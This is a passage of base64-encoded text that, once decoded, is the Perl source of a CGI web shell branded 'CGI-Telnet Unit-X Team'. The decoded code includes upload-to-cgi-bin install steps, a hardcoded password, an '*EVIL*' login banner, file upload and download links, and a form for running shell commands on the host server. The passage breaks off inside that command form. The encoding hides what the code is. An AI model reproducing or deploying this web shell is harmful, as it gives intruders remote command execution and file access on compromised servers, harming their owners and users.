dHA6Ly93d3cucm9oaXRhYi5jb20vbWxpc3QvCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0KIyBJbnN0YWxsYXRpb24KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoj 
IFRvIGluc3RhbGwgdGhpcyBzY3JpcHQKIwojIDEuIE1vZGlmeSB0aGUgZmlyc3QgbGluZSAiIyEv 
dXNyL2Jpbi9wZXJsIiB0byBwb2ludCB0byB0aGUgY29ycmVjdCBwYXRoIG9uCiMgICAgeW91ciBz 
ZXJ2ZXIuIEZvciBtb3N0IHNlcnZlcnMsIHlvdSBtYXkgbm90IG5lZWQgdG8gbW9kaWZ5IHRoaXMu 
CiMgMi4gQ2hhbmdlIHRoZSBwYXNzd29yZCBpbiB0aGUgQ29uZmlndXJhdGlvbiBzZWN0aW9uIGJl 
bG93LgojIDMuIElmIHlvdSdyZSBydW5uaW5nIHRoZSBzY3JpcHQgdW5kZXIgV2luZG93cyBOVCwg 
c2V0ICRXaW5OVCA9IDEgaW4gdGhlCiMgICAgQ29uZmlndXJhdGlvbiBTZWN0aW9uIGJlbG93Lgoj 
IDQuIFVwbG9hZCB0aGUgc2NyaXB0IHRvIGEgZGlyZWN0b3J5IG9uIHlvdXIgc2VydmVyIHdoaWNo 
IGhhcyBwZXJtaXNzaW9ucyB0bwojICAgIGV4ZWN1dGUgQ0dJIHNjcmlwdHMuIFRoaXMgaXMgdXN1 
YWxseSBjZ2ktYmluLiBNYWtlIHN1cmUgdGhhdCB5b3UgdXBsb2FkCiMgICAgdGhlIHNjcmlwdCBp 
biBBU0NJSSBtb2RlLgojIDUuIENoYW5nZSB0aGUgcGVybWlzc2lvbiAoQ0hNT0QpIG9mIHRoZSBz 
Y3JpcHQgdG8gNzU1LgojIDYuIE9wZW4gdGhlIHNjcmlwdCBpbiB5b3VyIHdlYiBicm93c2VyLiBJ 
ZiB5b3UgdXBsb2FkZWQgdGhlIHNjcmlwdCBpbgojICAgIGNnaS1iaW4sIHRoaXMgc2hvdWxkIGJl 
IGh0dHA6Ly93d3cueW91cnNlcnZlci5jb20vY2dpLWJpbi9jZ2l0ZWxuZXQucGwKIyA3LiBMb2dp 
biB1c2luZyB0aGUgcGFzc3dvcmQgdGhhdCB5b3Ugc3BlY2lmaWVkIGluIFN0ZXAgMi4KIy0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENvbmZpZ3VyYXRpb246 
IFlvdSBuZWVkIHRvIGNoYW5nZSBvbmx5ICRQYXNzd29yZCBhbmQgJFdpbk5ULiBUaGUgb3RoZXIK 
IyB2YWx1ZXMgc2hvdWxkIHdvcmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLgojLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tCiRQYXNzd29yZCA9ICJkeiI7CQkjIENoYW5nZSB0aGlzLiBZb3Ugd2lsbCBuZWVk 
IHRvIGVudGVyIHRoaXMKCQkJCSMgdG8gbG9naW4uCgokV2luTlQgPSAwOwkJCSMgWW91IG5lZWQg 
dG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCSMgeW91J3JlIHJ1bm5pbmcg 
dGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5u 
aW5nIGl0IG9uIFVuaXgsIHlvdQoJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoK 
JE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIg 
Y29tbWFuZHMKCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21k 
U2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFu 
ZHMKCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0 
aW9uID0gMTAwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxl 
ZAoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJ 
CSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCSMgdGFrZSB2 
ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4KCQkJCSMgVGhpcyBpcyB2YWxpZCBv 
bmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLgoK 
JFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2Vu 
dCB0byB0aGUKCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNl 
CgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQKCQkJCSMgY29t 
cGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQoJCQkJIyBwaW5nLCBzbyB0 
aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVk 
LgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05P 
VyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAk 
VW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAg 
PSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAx 
PiYyIiA6ICIgMT4mMSAyPiYxIik7CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmVhZHMgdGhl 
IGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVz 
LiBJdAojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1 
c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57 
J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4KIyBPdGhlciB2 
YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0 
aGUgbmFtZSBvZgojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlz 
IGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJCiMgc2NyaXB0cy4KIy0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLQpzdWIgUmVhZFBhcnNlCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2Nh 
bCAoJGksICRsb2MsICRrZXksICR2YWwpOwoKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NP 
TlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoK 
CWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVF 
UllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikK 
CXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVh 
ZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxl 
IHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3Jt 
LWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFz 
ZSByZWZlciB0byBSRkMxODY3CgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsKCQkk 
SGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsK 
CQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRo 
ZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRC 
b2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsKCQkkaW57J2YnfSA9ICQxOwoJ 
CSRpbnsnZid9ID1+IHMvXCIvL2c7CgkJJGlueydmJ30gPX4gcy9ccy8vZzsKCgkJIyBwYXJzZSB0 
cmFpbGVyCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykKCQl7CgkJCSRsaXN0WyRpXSA9fiBz 
L14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsK 
CQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQp 
Ly9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtl 
eX0gPSAkdmFsOwoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVk 
LCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRp 
ICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkg 
PSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhl 
eCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkk 
aW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49 
ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1M 
IFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMg 
c2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIK 
ewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIg 
PX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRl 
bnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0 
bGU+VW5pdC1YIFRlYW08L3RpdGxlPgokSHRtbE1ldGFIZWFkZXIKPC9oZWFkPgo8Ym9keSBvbkxv 
YWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzAwMDAwMCIgdG9wbWFyZ2luPSIw 
IiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPHRhYmxl 
IGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+ 
Cjx0cj4KPHRkIGJnY29sb3I9IiNDMkJGQTUiIGJvcmRlcmNvbG9yPSIjMDAwMDgwIiBhbGlnbj0i 
Y2VudGVyIj4KPGI+PGZvbnQgY29sb3I9IiMwMDAwODAiIHNpemU9IjIiPiM8L2ZvbnQ+PC9iPjwv 
dGQ+Cjx0ZCBiZ2NvbG9yPSIjMDAwMDgwIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIiBj 
b2xvcj0iIzAwOTkwMCI+PGI+Q0dJLVRlbG5ldCBVbml0LXggVGVhbSBDb25uZWN0ZWQgdG8gJFNl 
cnZlck5hbWU8L2I+PC9mb250PjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGJnY29s 
b3I9IiNDMkJGQTUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPgo8YSBocmVmPSIkU2Ny 
aXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9h 
PiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50 
RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291 
dCI+RGlzY29ubmVjdDwvYT4gfAo8YSBocmVmPSJVTklUWF9URUFNQEhPVE1BSUwuQ09NIj5IZWxw 
PC9hPgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgY29sb3I9IiMwMDk5MDAiIHNp 
emU9IjMiPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4g 
U2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoJJE1l 
c3NhZ2UgPSBxJDxwcmU+PGZvbnQgY29sb3I9IiNmZjAwMDAiPiBfX19fXyAgX19fX18gIF9fX19f 
ICAgICAgICAgIF9fX19fICAgICAgICBfICAgICAgICAgICAgICAgXwovICBfXyBcfCAgX18gXHxf 
ICAgX3wgICAgICAgIHxfICAgX3wgICAgICB8IHwgICAgICAgICAgICAgfCB8CnwgLyAgXC98IHwg 
IFwvICB8IHwgICBfX19fX18gICB8IHwgICAgX19fIHwgfCBfIF9fICAgIF9fXyB8IHxfCnwgfCAg 
ICB8IHwgX18gICB8IHwgIHxfX19fX198ICB8IHwgICAvIF8gXHwgfHwgJ18gXCAgLyBfIFx8IF9f 
fAp8IFxfXy9cfCB8X1wgXCBffCB8XyAgICAgICAgICAgfCB8ICB8ICBfXy98IHx8IHwgfCB8fCAg 
X18vfCB8XwogXF9fX18vIFxfX19fLyBcX19fLyAgICAgICAgICAgXF8vICAgXF9fX3x8X3x8X3wg 
fF98IFxfX198IFxfX3wgMS4wCgo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAg 
ICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4 
MzAwIj6pIDIwMDMsIFVuaXQtWCBUZWFtPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAg 
ICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAg 
LyAgIFVOSVQtWCAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAg 
ICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXyko 
IHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8g 
ICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X19f 
X19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzAw 
OTkwMCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnwqRVZJTCp8PC9mb250Pjxmb250 
IGNvbG9yPSIjMDA5OTAwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48 
Zm9udCBjb2xvcj0iIzAwOTkwMCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250 
IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5AOEA4PC9m 
b250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+ 
Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxNQVNURVIvLXw8L2Zv 
bnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2Zv 
bnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAv 
CiAgICAgICAoQCAgICAgICAgICAgYC0tLS0tLS0tYAogICAgICAgICAgICAgPC9mb250Pjxmb250 
IGNvbG9yPSIjQUU4MzAwIj5XIEEgUiBOIEkgTiBHOiBQcml2YXRlIFNlcnZlcjwvZm9udD48L3By 
ZT4KJDsKIycKCXByaW50IDw8RU5EOwo8Y29kZT4KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPgpD 
b25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+CkVzY2FwZSBjaGFyYWN0ZXIgaXMgXl0KPGNvZGU+ 
JE1lc3NhZ2UKRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3Nh 
Z2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwo8Y29k 
ZT4KPGJyPmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGJyPgpMb2dpbiBpbmNvcnJlY3Q8YnI+ 
PGJyPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBI 
VE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRM 
b2dpbkZvcm0KewoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBP 
U1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i 
YSIgdmFsdWU9ImxvZ2luIj4KbG9naW46IGFkbWluPGJyPgpwYXNzd29yZDo8aW5wdXQgdHlwZT0i 
cGFzc3dvcmQiIG5hbWU9InAiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8 
L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhl 
IGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmlu 
dFBhZ2VGb290ZXIKewoJcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7Cn0KCiMtLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhl 
IGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlhYmxlICRDb29raWVzeycn 
fQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBHZXRDb29raWVzCnsKCUBodHRwY29va2llcyA9 
IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7Cglmb3JlYWNoICRjb29raWUoQGh0dHBj 
b29raWVzKQoJewoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsKCQkkQ29va2ll 
c3skaWR9ID0gJHZhbDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUg 
c2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIg 
UHJpbnRMb2dvdXRTY3JlZW4KewoJcHJpbnQgIjxjb2RlPkNvbm5lY3Rpb24gY2xvc2VkIGJ5IGZv 
cmVpZ24gaG9zdC48YnI+PGJyPjwvY29kZT4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMg 
TG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2ll 
OiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFk 
ZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCSZQcmludExvZ2luU2NyZWVuOwoJJlByaW50 
TG9naW5Gb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoj 
IFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dv 
cmQgbWF0Y2hlcywgaXQKIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8g 
cnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndAojIG1hdGNoIG9yIGlmIG5vIHBh 
c3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNl 
cgojIHRvIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dpbgp7Cglp 
ZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXBy 
aW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFn 
ZUhlYWRlcigiYyIpOwoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VG 
b290ZXI7Cgl9CgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoCgl7CgkJJlByaW50UGFnZUhl 
YWRlcigicCIpOwoJCSZQcmludExvZ2luU2NyZWVuOwoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIi 
KSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQKCQl7CgkJCSZQcmludExvZ2luRmFpbGVkTWVz 
c2FnZTsKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9Cn0KCiMt 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0 
aGUgdXNlciB0byBlbnRlciBjb21tYW5kcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmlu 
dENvbW1hbmRMaW5lSW5wdXRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ 
ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7 
Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0 
aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPgo8aW5w 
